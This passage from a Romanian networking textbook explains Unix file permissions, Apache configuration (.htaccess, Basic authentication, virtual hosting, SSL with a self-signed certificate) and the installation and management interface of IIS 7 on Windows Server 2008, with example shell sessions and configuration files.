n listing se observ c utilizatorul care deine intrrile este root, iar grupul deintor este
tot root. Utilizatorul root are toate drepturile pe fiierul dir, iar grupul i ceilali utilizatori nu
au niciun drept. Fiierul sample.cgi poate fi executat de ctre orice utilizator, avnd drept de
execuie pentru utilizator, grup i ceilali.
niruirea de drepturi asupra unei intrri n sistemul de fiiere poate fi folosit n format
binar, asociindu-se 9 bii: cte un bit pentru prezena sau nu a unui drept. Astfel, formatul
literal rwx r-x wx are asociat formatul binar 111 101 011. Se prefer formatul octal al
drepturilor, care pentru exemplul anterior este 753.
Drepturile pe o intrare n sistemul de fiiere pot fi alterate folosind comanda chmod. n
cele ce urmeaz se vor prezenta mai multe exemple de rulare a chmod pentru schimbarea
succesiv a drepturilor de acces pe fiiere:
toate drepturile pentru utilizator, niciun drept pentru ceilali
ragnarok:~# ls -l test.txt
-rw-r--r-- 1 root root 0 Sep 23 19:23 test.txt
ragnarok:~# chmod 700 test.txt
ragnarok:~# ls -l test.txt
-rwx------ 1 root root 0 Sep 23 19:23 test.txt
drept de citire i scriere pentru utilizator, drept de citire pentru grup, drept de scriere pentru
ceilali
ragnarok:~# chmod 642 test.txt
ragnarok:~# ls -l test.txt
-rw-r---w- 1 root root 0 Sep 23 19:23 test.txt
drept de citire i execuie pentru utilizator, drept de citire i scriere pentru grup, drept de
scriere i execuie pentru ceilali
ragnarok:~# chmod 563 test.txt
ragnarok:~# ls -l test.txt
-r-xrw--wx 1 root root 0 Sep 23 19:23 test.txt
revenirea la drepturile iniiale: drept de citire i scriere pentru utilizator, drept de citire pentru
grup i pentru ceilali
ragnarok:~# chmod 644 test.txt
326 | R e e l e L o c a l e

ragnarok:~# ls -l test.txt
-rw-r--r-- 1 root root 0 Sep 23 19:23 test.txt
9.2.3.4.2 Configurare drepturi server web
Dup cum s-a precizat, pentru ca o resurs s poat fi accesat de serverul web, trebuie ca
utilizatorul sau grupul www-data s aib drept de citire asupra acesteia.
Fie urmtoarea situaie:
ragnarok:/var/www# ls -l
total 0
-rw-r--r-- 1 root root 0 Sep 23 19:32 brad.txt
-rw-r----- 1 root root 0 Sep 23 19:32 fag.txt
Fiierul brad.txt va putea fi accesat de serverul web, n timp ce fiierul fag.txt.
Utilizatorul www-data face partea din categoria de utilizatori others, adic ultimele 3 drepturi.
n cazul brad.txt aceste drepturi sunt r-- iar n cazul fag.txt sunt --- (niciun drept).
Dac se schimb grupul pentru fag.txt n www-data, atunci i acesta va putea fi accesat
de serverul web:
ragnarok:/var/www# chown root:www-data fag.txt
ragnarok:/var/www# ls -l
total 0
-rw-r--r-- 1 root root 0 Sep 23 19:32 brad.txt
-rw-r----- 1 root www-data 0 Sep 23 19:32 fag.txt
Se va aduga un director la structura deja existent:
ragnarok:/var/www# mkdir carpen
ragnarok:/var/www# touch carpen/molid.txt
ragnarok:/var/www# touch carpen/frasin.txt
ragnarok:/var/www# ls -ld carpen/
drwxr-xr-x 2 root root 112 Sep 23 19:47 carpen/
ragnarok:/var/www# ls -l carpen/
total 0
-rw-r--r-- 1 root root 0 Sep 23 19:47 frasin.txt
-rw-r--r-- 1 root root 0 Sep 23 19:47 molid.txt
Directorul carpen/ ofer drepturi de citire i execuie pentru ceilali utilizatori astfel c se
poate afia coninutul su. Drept urmare, folosirea URL-ului http://localhost/carpen/ va
conduce la listarea coninutului acestui director. Fiierele frasin.txt i molid.txt pot fi
accesate prin intermediul paginii afiate. Dac se schimb drepturile pe un fiier:
ragnarok:/var/www# chmod 640 carpen/molid.txt
atunci utilizatorul www-data nu va mai avea drept de citire. Fiierul va fi totui afiat n
momentul folosirii URL-ului http://localhost/carpen/, dar nu va putea fi accesat. Cu alte
cuvinte schimbarea drepturilor de acces pe un fiier nu schimb comportamentul directorului
care l conine.
Listarea directorului este dezactivat dac exist un fiier index *vezi 9.2.3.2+. Astfel, dac
se creeaz fiierul index.html, se va face implicit afiarea acestuia, nu a coninutului
directorului.
ragnarok:/var/www# touch carpen/index.html
Fiierele frasin.txt i molid.txt vor putea fi referite, n acest caz, numai dac li se
cunoate calea complet. Altfel spus, vor putea fi recuperate cu ajutorul URL-urilor
http://localhost/carpen/frasin.txt, respectiv http://localhost/carpen/molid.txt.
De multe ori se dorete dezactivarea listrii coninutul unui director fr a fi nevoie de
prezena unui fiier index.html. Pentru aceasta trebuie eliminat dreptul de citire de director,
dar pstrat cel de execuie (de parcurgere a directorului):
ragnarok:/var/www# chmod 711 carpen/
327 | Wo r l d W i d e W e b

Dup comanda de mai sus, utilizatorul www-data va avea doar drept de execuie asupra
directorului carpen/. Dac acest director va conine un fiier index, acesta va fi afiat. Altfel se
va afia un mesaj de tip Forbidden. Fiierele dintr-un astfel de director pot fi accesate doar
prin precizarea cii complete n URL.
9.2.3.5 Configurare opiuni per director. Fiierul .htaccess
Directoarele accesibile prin intermediul serverului web pot avea asociate opiuni prin
intermediul unui fiier existent n acest director. Acest fiier poart numele de .htaccess
1
.
Prezena acestui fiier ntr-un director nseamn parcurgerea acestuia i interpretarea
directivelor existente pentru acel director.
Fiierul .htaccess este folosit atunci cnd un utilizator nu are acces la fiierul principal de
configurare. n cazul n fiierul principal de configurare poate fi folosit pentru a configura un
director, se recomand s nu se foloseasc fiierul .htaccess. Opiunile per director sunt
configurate n fiierul principal cu ajutorul directivei <Directory>.
Configuraiile din .htaccess sunt aplicate directorului curent i tuturor subdirectoarelor
acestuia. Configuraiile din fiierele .htaccess din subdirectoare vor suprascrie configurrile
din directorul curent. Directiva AllowOverride descris n seciunea 9.2.3.1 este folosit
pentru a preciza directivele din fiierul principal de configurare pe care fiierul .htaccess le
poate suprascrie. Astfel, folosirea
AllowOverride None
ignor prezena fiierului .htaccess, pe cnd folosirea
AllowOverride All
acord prioritate directivelor prezente n fiierul .htaccess.
Un exemplu este configurarea unui director pentru a rula scripturi CGI. Pentru aceasta
fiierul .htaccess va avea coninutul:
ragnarok:~# cat /var/www/test/.htaccess
Options +ExecCGI
SetHandler cgi-script
Pentru ca aceste configurri s fie active, va trebui ca directorul /var/www/test s
permit directivele de configurare Options i FileInfo:
ragnarok:~# cat /etc/apache2/sites-enabled/000-default
NameVirtualHost *
<VirtualHost *>
[...]
<Directory /var/www/test/>
AllowOverride Options FileInfo
</Directory>
[...]
</VirtualHost>
Dup aceasta folosirea URL-ului http://localhost/test/sample.cgi va conduce la
execuia scriptului sample.cgi.
9.2.3.5.1 Folosire directive de autentificare
Fiierul .htaccess poate fi folosit pentru autentificarea utilizatorului n momentul n care
acceseaz directorul asociat
2
. Ca i alte opiuni, se recomand utilizarea directivelor de
autentificare n cadrul unei directive Directory ntr-un fiier de configurare. Folosirea acestor
directive ntr-un fiier .htaccess se folosete n momentul n care nu se poate accesa fiierul
de configurare.

1
http://httpd.apache.org/docs/2.2/howto/htaccess.html
2
http://httpd.apache.org/docs/2.2/howto/auth.html
328 | R e e l e L o c a l e

Un exemplu de configurare este urmtorul:
ragnarok:~# mkdir /var/www/need_auth
ragnarok:~# vi /var/www/need_auth/.htaccess
ragnarok:~# cat /var/www/need_auth/.htaccess
AuthType Basic
AuthName "Authentication Needed"
AuthUserFile /var/www/need_auth_passwd
Require user mihai roxana
Tipul de autentificare folosit este Basic. Directiva AuthName definete domeniul (Realm)
cu care va fi asociat instana curent de autentificare. Autentificarea folosete fiierul
precizat prin intermediul directivei AuthUserFile, n cazul de fa
/var/www/need_auth_passwd. Directiva Require specific modul n care se realizeaz
autentificarea. n cazul de fa se permite accesul numai utilizatorilor mihai i roxana.
Crearea i completarea fiierului de configurare se realizeaz cu ajutorul utilitarului
htpasswd. Astfel, pentru crearea fiierului i adugarea utilizatorilor mihai i roxana se
folosete secvena de comenzi de mai jos:
ragnarok:~# htpasswd -c /var/www/need_auth_passwd mihai
New password:
Re-type new password:
Adding password for user mihai
ragnarok:~# htpasswd /var/www/need_auth_passwd roxana
New password:
Re-type new password:
Adding password for user roxana
La prima rulare s-a folosit opiunea c pentru a crea fiierul de parole. Parolele sunt
criptate n fiierul de autentificare:
ragnarok:~# cat /var/www/need_auth_passwd
mihai:nzXO9vzU9BcmA
roxana:uJOLmQIETpCZw
Pentru a putea folosi directivele de autentificare din fiierul .htaccess va trebui folosit
directiva AllowOverride cu opiunea AuthConfig:
<Directory /var/www/need_auth/>
AllowOverride AuthConfig
</Directory>
Folosirea URL-ului http://localhost/need_auth/ va duce la apariia unui prompt de
autentificare a utilizatorului. Utilizatorul se va putea autentifica cu numele de utilizator i
parola specificate n fiierul /var/www/need_auth_passwd, n cazul de fa mihai i roxana i
parolele asociate. Dup autentificare va putea accesa resursele din director.
9.2.4 Gzduire virtual
Una dintre cele mai importante faciliti n Apache este posibilitatea de gzduire virtual
(virtual hosting)
1
. Actualmente, aceasta este metoda fundamental de a rula mai multe servicii
web - fiecare cu nume i URL-uri diferite - dar care reprezint site-uri distincte. Virtual hosting
este folosit pe scar larg n ISP-uri i site-uri de hosting care au nevoie s administreze mai
multe site-uri, dar nu vor s achiziioneze un calculator nou pentru fiecare n parte.
9.2.4.1 Tipuri de gzduire virtual
Exist dou moduri de a implementa gzduirea virtual a paginilor web: gzduire virtual
bazat pe adrese IP (IP-based virtual hosting) i gzduire virtual bazat pe nume (name-
based virtual hosting). Un caz particular poate fi considerat gzduirea virtual bazat pe port.

1
http://httpd.apache.org/docs/2.2/vhosts/
329 | Wo r l d W i d e W e b

n cadrul gzduirii bazate pe adrese IP, fiecare virtual host primete o adres IP. Pe
anumite sisteme de operare se pot stabili mai multe adrese IP pe o interfa de reea. Pe alte
sisteme va fi nevoie de o interfa suplimentar pentru fiecare adres IP.
Totui, adresele IP cost i sunt din ce n ce mai greu de obinut, astfel nct browser-ele
moderne pot folosi virtual hosting bazat pe nume. Cnd un server web primete o conexiune
nu cunoate ce nume de staie (hostname) a fost folosit n URL. Pentru a corecta, noua
specificaie HTTP/1.1 adaug o facilitate prin intermediul creia browser-ele pot spune
serverului ce hostname folosesc, prin intermediul antetului Host:.
Dei gzduirea virtual prezint avantajul economisirii de adrese IP, trebuie inut cont de
existena unor browser-e mai vechi care nu au implementat specificaia HTTP/1.1. Dac un
astfel de browser se conecteaz la un server web cu gzduire virtual bazat pe nume, nu va
trimite antetul Host:, aa c serverul va trebui s rspund cu o list de gazde virtuale
posibile.
9.2.4.2 Alegerea numelui de staie
Dup stabilirea tipului de gzduire virtual dorit i, eventual, a unei adrese IP, trebuie ales
un nume de staie i actualizat corespunztor serverul DNS asociat.
Se presupune c serverul web ascult conexiuni pe dou adrese IP: 99.88.77.66 i
88.77.66.55. n acelai timp va folosi gzduire virtual bazat pe adrese IP i s asculte
foloseasc domeniile www1.mydomain.com i www2.mydomain.com. n acest caz trebuie
adugate dou intrri n fiierul de configurare DNS ca cele de mai jos. S-a presupus c
serverul de nume configurat este autoritar pe domeniul mydomain.com:
www1 A 99.88.77.66
www2 A 88.77.66.55
Dac se dorete folosirea gzduiri virtuale bazate pe nume folosind ca adres IP doar
99.88.77.66 atunci vor exista dou intrri de forma
www1 A 99.88.77.66
www2 CNAME www1
O situaie particular, folosit la testare, este gzduirea virtual bazat pe nume cu acces
numai de pe sistemul local. Pentru aceasta este nevoie de adugarea n /etc/hosts a unei
linii de forma:
127.0.0.1 www.mydomain.com
9.2.4.3 Configurare gzduire virtual n Apache2
Dup cum s-a specificat i n seciunea 9.2.3, configurarea gzduirii virtuale n Apache2 se
realizeaz, pe Debian/Ubuntu, prin intermediul directoarelor /etc/apache2/sites-
available i /etc/apache2/sites-enabled/. Directorul sites-available/ conine cte
un fiier pentru fiecare domeniu virtual potenial. Directorul sites-enabled/ conine legturi
simbolice ctre fiierele din sites-available/ preciznd, astfel, domeniile virtuale care sunt
activate la rularea serverului.
Iniial, Apache2 are configurat un domeniu virtual implicit n /etc/apache2/sites-
available/000-default:
ragnarok:~# ls -l /etc/apache2/sites-enabled/000-default
lrwxrwxrwx 1 root root 36 Sep 23 00:06 /etc/apache2/sites-enabled/000-default ->
/etc/apache2/sites-available/default
Pentru configurarea unui domeniu virtual se creeaz un fiier n sites-available/, dup
care se creeaz o legtur simbolic n sites-enabled/. Se recomand cu numele fiierului s
fie chiar numele domeniului pentru care se realizeaz gzduirea virtual. Pentru activarea i
330 | R e e l e L o c a l e

dezactivarea domeniilor virtuale se recomand folosirea scripturilor a2ensite, respectiv
a2dissite puse la dispoziie de pachetul de la Debian.
9.2.4.3.1 Directive pentru gzduire virtual
nainte de prezentarea unui exemplu de configurare global, se vor identifica o parte din
directivele de configurare pentru gzduire virtual folosind domeniul implicit:
ragnarok:~# cat /etc/apache2/sites-enabled/000-default
NameVirtualHost *
<VirtualHost *>
ServerAdmin webmaster@localhost

DocumentRoot /var/www/
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all
RedirectMatch ^/$ /apache2-default/
</Directory>
[...]
</VirtualHost>
Din coninutul fiierului s-au pstrat doar directivele folosite pentru configurarea gzduirii
virtuale. Directivele de configurare pentru gzduirea virtual sunt:
NameVirtualHost indic folosirea gzduirii virtuale; recomandarea
1
pentru gzduirea
virtual bazat pe nume este crearea unui fiier /etc/apache2/conf.d/virtual.conf
care s conin opiunea NameVirtualHost urmat de adresa IP folosit pentru gzduire
virtual; caracterul * nseamn c serverul ascult pe toate interfeele;
<VirtualHost *> definete un domeniu virtual; n cazul n care se folosete gzduire virtual
se folosete acelai parametru ca i la NameVirtualHost, n cazul de fa *;
ServerAdmin definete adresa de e-mail a administratorului domeniului;
DocumentRoot definete directorul rdcin pentru domeniul virtual configurat;
directiva ServerName este o directiv esenial care definete domeniul pentru care a fost
configurat virtual host-ul;
ServerAlias poate specifica un nume de domeniu care s fie deservit de acelai virtual host.
9.2.4.3.2 Gzduire virtual bazat pe nume
Pentru activarea gzduirii virtuale se folosete directiva NameVirtualHost. Dac se
dorete ca serverul s serveasc cereri pentru toate interfeele se folosete n forma
NameVirtualHost *
Pentru a profita de modularitatea Apache2, se recomand ca aceast directiv s fie
extras din fiierul de configurare pentru domeniul implicit i copiat n fiierul de configurare
/etc/apache2/conf.d/virtual.conf, inclus n fiierul principal de configuraie:
ragnarok:~# cat /etc/apache2/conf.d/virtual.conf
NameVirtualHost *
Pentru crearea unui virtual host, dou directive sunt indispensabile: ServerName i
DocumentRoot. Aceste dou directive definesc, respectiv, numele domeniului virtual gestionat
i documentul rdcin folosit pentru publicarea de resurse.
Astfel, un virtual host simplu este:
<VirtualHost *>
ServerName www.domain.com
DocumentRoot /usr/local/www

1
http://www.debian-administration.org/articles/412
331 | Wo r l d W i d e W e b

</VirtualHost>
Directiva ServerName lipsete iniial din fiierul de configurare asociat domeniului implicit
pentru c acesta va rspunde pentru toate cererile pentru care nu exist un virtual host
asociat.
Dorim s se configureaz urmtoarele domenii:
www.domain.com cu rdcina n /usr/local/www
www.test.com cu rdcina n /var/www/test
Se va presupune un caz de test, drept pentru care domeniile de mai sus vor fi asociate
adresei locale 127.0.0.1 prin intermediul fiierului /etc/hosts:
127.0.0.1 www.domain.com
127.0.0.2 www.test.com
Pentru fiecare dintre cele dou domenii se vor crea dou fiiere cu numele
www.domain.com, respectiv www.test.com n /etc/apache2/sites-available:
ragnarok:~# cat /etc/apache2/sites-available/www.domain.com
<VirtualHost *>
ServerName www.domain.com
ServerAlias domain.com
DocumentRoot /usr/local/www
</VirtualHost>
ragnarok:~# cat /etc/apache2/sites-available/www.test.com
<VirtualHost *>
ServerName www.test.com
ServerAlias test.com
DocumentRoot /var/www/test
</VirtualHost>
Directiva ServerAlias permite specificarea unui domeniu care s refere acelai director
rdcin.
Pentru activarea domeniilor folosim utilitarul a2ensite:
ragnarok:~# a2ensite www.domain.com
Site www.domain.com installed; run /etc/init.d/apache2 reload to enable.
ragnarok:~# a2ensite www.test.com
Site www.test.com installed; run /etc/init.d/apache2 reload to enable.
Serverul va trebui repornit pentru activarea configuraiilor:
ragnarok:~# apache2ctl restart
Verificarea configuraiilor se realizeaz prin intermediul unui browser. Se poate folosi unul
n linie de comand, cum este lynx:
ragnarok:~# lynx http://www.domain.com
ragnarok:~# lynx http://www.test.com
9.3 Configurare suport SSL pentru Apache
Deoarece protocolul HTTP nu este un protocol sigur, n multe situaii se dorete folosirea
protocolului HTTPS, obinut prin suprapunerea HTTP peste SSL/TLS. Implementrile curente
folosesc SSLeay/OpenSSL prin intermediul pachetului openssl pentru a asigura o comunicaie
sigur.
Paii care trebuie urmai pentru configurarea suportului SSL pentru Apache2 sunt
prezentai n continuare.
9.3.1 Activare modul. Configurare Port
Primul pas al configurrii suportului SSL peste Apache este activarea modulului mod_ssl.
Modulul este instalat implicit la instalarea serverului i trebuie doar activat. Pentru activare
folosim scriptul a2enmod:
ragnarok:~# a2enmod ssl
Module ssl installed; run /etc/init.d/apache2 force-reload to enable.
332 | R e e l e L o c a l e

Totodat, serverul trebuie configurat s asculte conexiuni pe portul 443 dedicat
conexiunilor HTTPS. Pentru aceasta trebuie adugat linia Listen 443 la fiierul ports.conf:
ragnarok:~# cat /etc/apache2/ports.conf
Listen 80
Listen 443
9.3.2 Generare certificat
Pentru a asigura confidenialitatea comunicaiei dintre server i client va trebui generat un
certificat. Certificatul va fi folosit local fr a fi semnat de o autoritate (CA) i va genera unele
avertismente. Pentru generarea unui certificat se folosete comanda openssl:
ragnarok:~# openssl req $@ -new -x509 -days 365 -nodes -out /etc/apache2/apache.pem -
keyout
/etc/apache2/apache.pem

Generating a 1024 bit RSA private key
......................................................++++++
....++++++
writing new private key to '/etc/apache2/apache.pem'
[]
-----
Country Name (2 letter code) [AU]:RO
State or Province Name (full name) [Some-State]:Bucharest
Locality Name (eg, city) []:Bucharest
Organization Name (eg, company) [Internet Widgits Pty Ltd]:University Politehnica of
Bucharest
Organizational Unit Name (eg, section) []:Computer Science
Common Name (eg, YOUR name) []:Razvan Deaconescu
E-mail Address []:razvan.deaconescu@cs.pub.ro
Certificatul trebuie s fie accesibil doar utilizatorului root:
ragnarok:~# chmod 600 /etc/apache2/apache.pem
9.3.3 Configurare virtual host
Pentru a folosi suportul SSL va trebui configurat virtual host care s asculte conexiuni pe
portul 443 i s foloseasc facilitile modulului mod_ssl. Pentru aceasta se nlocuiete
directiva NameVirtualHost * n fiierul /etc/apache2/conf.d/virtual.conf creat n
seciunea 9.2.4.3:
ragnarok:~# cat /etc/apache2/conf.d/virtual.conf
NameVirtualHost 88.77.66.55:80
NameVirtualHost 88.77.66.55:443
Este, aadar, nevoie de dou virtual host-uri: unul care va asculta conexiuni necriptate pe
portul 80 i altul care va asculta conexiuni criptate pe portul 443. Se poate observa c, spre
deosebire de gzduirea virtual bazat pe nume, la gzduirea virtual bazat pe porturi este
necesar prezena adresei IP, considerat aici 88.77.66.55. Pentru aceasta, se creeaz o
copie a fiierului de configuraie pentru virtual host-ul implicit i se activeaz folosind
a2ensite:
ragnarok:~# cp /etc/apache2/sites-available/default /etc/apache2/sites-available/ssl
ragnarok:~# a2ensite ssl
Site ssl installed; run /etc/init.d/apache2 reload to enable.
Virtual host-ul implicit va asculta conexiuni pe portul 80 i va trebui nlocuit linia
<VirtualHost *> cu <VirtualHost 88.77.66.55:80>. VirtualHost-ul ssl va asculta
conexiuni pe portul 443 i va oferi suport SSL:
ragnarok:~# head -n 1 /etc/apache2/sites-enabled/000-default
<VirtualHost 88.77.66.55:80>
ragnarok:~# head -n 5 /etc/apache2/sites-enabled/ssl
<VirtualHost 88.77.66.55:443>
ServerAdmin webmaster@localhost

SSLEngine On
SSLCertificateFile /etc/apache2/apache.pem
333 | Wo r l d W i d e W e b

Directiva SSLEngine On activeaz suportul SSL iar directiva SSLCertificateFile
precizeaz certificatul generat n seciunea 9.3.2
Dup toate configurrile, se repornete serverul:
ragnarok:~# apache2ctl restart
Verificarea configuraiei se face prin folosirea URL-urilor http://88.77.66.55, respectiv
https://88.77.66.55:443 pentru conexiune criptat. n locul adresei IP poate fi folosit
numele de domeniu al staiei (Fully Qualified Domain Name FQDN).
9.4 IIS 7 i Windows Server 2008
Internet Information Services (IIS) reprezint alternativa Microsoft pentru serverele de
pagini web. n momentul de fa, IIS a ajuns la versiunea 7, versiune ce este inclus implicit n
variantele Windows Server 2008.
Evident, versiunile prin care IIS a trecut pn acum au existat n primul rnd din intenia de
a spori gradul de securitate i de a repara erorile introduse n versiunile precedente. IIS 6.0,
spre exemplu, a reprezentat doar o variant cu funcionalitate sporit a lui IIS 4. De asemenea,
instalarea versiunilor anterioare lui 7 avea ca efect instalarea aproape a tuturor facilitilor n
mod implicit, lsnd administratorului doar cteva componente opionale ce puteau fi
instalate la cerere. Cel puin din acest punct de vedere, versiunea 7 este superioar i printr-
un grad mult mai ridicat de granularitate, ncercnd s respecte ideea pe care Microsoft a
introdus-o odat cu Windows Server 2008 i continu s o promoveze: ceea ce nu se
instaleaz nu trebuie ntreinut
1
.
Aceast nou versiune este prima reconstruit de la zero i conceput din start pentru a fi
modularizat. Acest lucru, pe de o parte, reduce din complexitatea suprafeei expuse
atacurilor i, pe lng un spor de securitate, ajut la minimizarea timpilor mori n
ntreinerea serverelor cauzai de schimbri de software, actualizri i modificri importante n
configuraii. De asemenea, i interfaa de administrare a fost refecut, renunndu-se la
vechea interfa introdus n versiunea 4. Aceasta aduce un plus din punctul de vedere al
organizrii i al structurrii sarcinilor, fiind conceput ca un dashboard (n stilul Server
Manager i Control Panel).
Modularitatea componentelor lui IIS 7 este facilitat i prin faptul c acum administratorii
beneficiaz de opiunea de a delega un numr semnificativ de sarcini chiar dezvoltatorilor sau
proprietarilor site-urilor web. Pentru un server care gzduiete un numr mare de site-uri web
dar al crui administrator nu deine drepturile de proprietate asupra coninutului lor, aceast
metod de delegare ofer o soluie adecvat. Detaarea anumitor responsabiliti unor tere
persoane ntr-un mod securizat, elimin astfel responsabilitatea administratorului serverului
pentru schimbri uor de efectuat asupra site-urilor. De obicei aceste drepturi permit
schimbri ce nu afecteaz stabilitatea, integritatea sau securitatea serverului pe care acestea
ruleaz.
De asemenea, versiunea 7 ofer i utiltare adiionale de monitorizare a performanei i de
tratare a erorilor ce nu existau n versiunile anterioare. Spre exemplu se poate vizualiza fiecare
cerere venit spre server pentru a se depista cu uurin cauza unei probleme sau din ce
locaie sau ce aplicaie folosete resursele serverului.
IIS 7 are la baz un motor complet nou, conceput pentru a adresa neajunsurile versiunilor
precedente, avnd n vedere att efortul de mentenan din partea administratorilor ct i
necesitile dezvoltatorilor de aplicaii web.

1
Original, eng.: What doesnt get installed wont need to get patched.
334 | R e e l e L o c a l e

9.4.1 Avantajele lui IIS 7
IIS 7 a fost conceput pentru a oferi administratorilor i dezvoltatorilor urmtoarele
faciliti:
Un model extensibil i modular pentru a spori uurina administrrii i a minimiza riscurile de
securitate;
Posibilitatea de a delega sarcini administrative;
Unelte de monitorizare i diagnorstic incluse n aplicaie, facilitnd accesul la mecanismul
intern de funcionare al IIS;
Interfa de administrare mai intuitiv;
Instalare prin Xcopy.

IIS 7 permite delegarea de sarcini administrative dezvoltatorilor sau proprietarilor de site-
uri. Instalarea este acum complet customizabil i permite selectarea specific a
componentelor dorite spre a fi instalate i utilizate. Dezvoltatorii benficiaz acum de API-uri
(Application Programming Interface) mult mai complexe i mai capabile. Tot aceste API-uri
permit i administratorilor, pe de alt parte, s interacioneze prin cod, serverul folosind
namespace-ul Microsoft.Web.Administration, sau prin WMI (Windows Management
Instrumentation). Starea serverului poate fi inspectat folosind servicii de tip WCF (Windows
Communication Foundation) ca WAS (Windows Activation Service), care ofer posiblitatea de
management al resurselor, de inspecie la nivel de proces i de detectare automat a erorilor.
Spre exemplu, dac o cerere expir n timp nainte ca aceasta s fie executat, IIS 7 poate
parcurge i descrie n sens invers codul ce a fost executat pn la generarea acesteia, pentru a
oferi o imagine ct mai intuitiv asupra cauzei problemei.
Funcionalitatea intern a serverului este acum mult mai expus, permind n orice
moment monitorizarea activitii interne, a cererilor sosite, a resurselor accesate i a aciunilor
executate. Pe lng interfaa grafic de administrare, IIS 7 ofer i o interfa n linie de
comand numit appcmd.exe ce poate fi folosit pentru a vizualiza i a modifica o serie
semnificativ de opiuni ale serverului.
n fine, una dintre cele mai spectaculoase mbuntiri introduse odat cu IIS 7 este
posibilitatea de a migra i de a distribui extrem de uor configuraii ntre servere multiple
folosind Xcopy i fiiere de tip web.config. n aceste fiiere pot fi stocate informaii
referitoare la aplicaie sau la diverse site-uri i simpla copiere a acestor fiiere pe un nou
server are ca afect activarea imediat a noii configuraii. Aceast facilitate, dei inclus pentru
prima oar n IIS, a existat n alte servere web de muli ani.
9.4.2 Instalarea IIS 7
9.4.2.1 Instalarea din Server Manager
Instalarea lui IIS 7 pe un sistem Windows Server 2008 decurge conform pailor urmtori.
Nu este necesar descrcarea de pe Internet a vreunui pachet de instalare sau a unei
configuraii.

1. Se deschide Server Manager (din meniul Start > Administrative Tools sau direct din
Quick Launch);
2. Se selecteaz opiunea Add Roles din seciunea Roles Summary (sau se face clic pe Roles n
arborele din partea stng pentru a afia doar aceast seciune);
3. Se verific condiiile explicate n ecranul afiat i se apas Next (n special e recomandat
asignarea unei adrese IP statice n prealabil pe interfaa de pe care se vor primi cererile, ca i n
cazul altor servere);
335 | Wo r l d W i d e W e b

4. Din ecranul Select Server Roles se selecteaz Web Server (IIS);


9-2: Instalarea componentelor suplimentare necesare pentru IIS 7
5. Dac este necesar, instalarea va ateniona n legtur cu faptul c sunt necesare i alte
componente pentru funcionarea IIS, ca n figura 9-2. Se adaug facilitile necesare i se
continu;

9-3: Lista de componente opionale pentru IIS 7
6. Se trece i de urmtoul ecran informativ i se ajunge la lista de opiuni ale serverului. n
fereastra Select Role Services sunt enumerate principalele componente ale IIS. Aici se poate
336 | R e e l e L o c a l e

specifica dac se intenioneaz ca serverul s suporte pagini ASP, script-uri CGI, s controleze
un server FTP, etc
1
.
7. Se revizuiesc opiunile selectate pentru instalare i se apas Install pentru a porni instalarea;
8. Se nchide utilitarul de instalare, dup terminare.

Alegerea componentelor opionale nu este definitiv dup instalarea serverului. Acestea
pot fi instalate sau dezinstalate ulterior tot din Server Manager, din pagina de diagnostic a
Web Server (IIS) localizat sub categoria Roles, prin opiunile Add Role Services i Remove Role
Services.

9-4: Adugarea i eliminarea de componente din IIS dup instalare
9.4.2.2 Instalarea automat (Unattended Installation)
n cazul n care instalarea IIS 7 trebuie fcut pe mai multe servere iar configurarea
acestuia este aproximativ similar pe toate serverele, procesul de instalare poate fi
automatizat. Pentru aceasta poate fi folosit utilitarul pkgmgr.exe n dou moduri: se pot
specifica pachetele de instalat direct n linia de comand sau se poate scrie un fiier XML cu
lista opiunilor ce se doresc a fi instalate.
Din moment ce IIS 7 este dependent de WAS (aa cum s-a specificat i la instalarea prin
Server Manager), componentele acestuia vor trebui specificate explicit n comanda de
instalare sau n fiierul XML.
Pentru instalarea componentelor implicite ale IIS 7 folosind doar interpretorul de comenzi,
se introduce urmtoarea comand. De remarcat enumerarea componentelor fa de care IIS 7
are dependene:
Start /w pkgmgr.exe /iu:IIS-WebServerRole;WAS-WindowsActivationService;WAS-
ProcessModel;WAS-NetFxEnvironment;WAS-ConfigurationAPI
Pentru a automatiza instalarea folosind un fiier XML, se creeaz unul cu urmtorul
coninut:
<?xml version="1.0" ?>
<unattend xmlns="urn:schemas-microsoft-com:unattend"
xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State">
<servicing>
<package action="configure">
<assemblyIdentity
name="Microsoft-Windows-Foundation-Package"
version="6.0.6001.17051"
language="neutral"
processorArchitecture="x86"
publicKeyToken="31bf3856ad364e35"
versionScope="nonSxS"
/>

<selection name="IIS-WebServerRole" state="true"/>
<selection name="WAS-WindowsActivationService" state="true"/>
<selection name="WAS-ProcessModel" state="true"/>
<selection name="WAS-NetFxEnvironment" state="true"/>
<selection name="WAS-ConfigurationAPI" state="true"/>
</package>
</servicing>
</unattend>
9-5: Coninutul unui fiier XML de instalare cu opiuni implicite pentru IIS 7

1
Deoarece lista de componente este prea vast pentru a fi inclus aici, ea poate fi consultat pe Internet
la adresa http://technet.microsoft.com/en-us/mscomops/cc403255.aspx
337 | Wo r l d W i d e W e b

Cteva dintre optiunile din fiierul XML trebuie specificate innd cont de maina pe care
se realizeaz instalarea:
Valoarea atributului version trebuie s fie valoarea exact a instalrii de Windows Server
2008. Aceasta se poate afla la seciunea Details din pagina de proprieti a fiierului
explorer.exe (direct n directorul %WINDIR%);
Valoarea atributului processorArchitecture va trebui s corespund cu procesorul instalat
pe sistemul curent. Opiunile sunt: x86, x64 i amd64;

Utilizarea fiierului XML creat se face tot din linia de comand. Presupunnd c a fost
salvat cu numele unatt_inst.xml, comanda este urmtoarea:
Start /w pkgmgr /n:c:\unatt_inst.xml
De asemenea, aceste comenzi sunt disponibile i n varianta Server Core a Windows Server
2008, ele reprezentnd chiar modalitatea de instalare a IIS 7 pe aceast variant de Windows.
9.4.3 Interfaa de administrare
O schimbare semnificativ n noua versiune de IIS o reprezint interfaa sa de
administrare: IIS Manager. La o instalare cu setrile implicite, aceasta se instaleaz automat.
IIS Manager poate fi accesat prin: Start > Administrative Tools > Internet
Information Services (IIS) Manager sau prin numele executabilului su, introdus direct
n fereastra de Run sau la Search, n meniul Start: InetMgr.exe.


9-6: Consola de management a IIS 7
n zona principal a ferestrei sunt enumerate ultimele servere spre care au fost realizate
conexiuni, cteva sarcini uzuale i legturi de ajutor pe Internet.
n zona din partea stng sunt enumerate diferite conexiuni ctre servere IIS 7. n mod
implicit doar serverul local este afiat sub forma numelui calculatorului pe care ruleaz, fiind
asociat acestuia. Conexiunile noi pot fi adugate prin butonul Create New Connection, de
deasupra listei. Pentru a accesa setrile serverului curent, se face clic pe numele su:

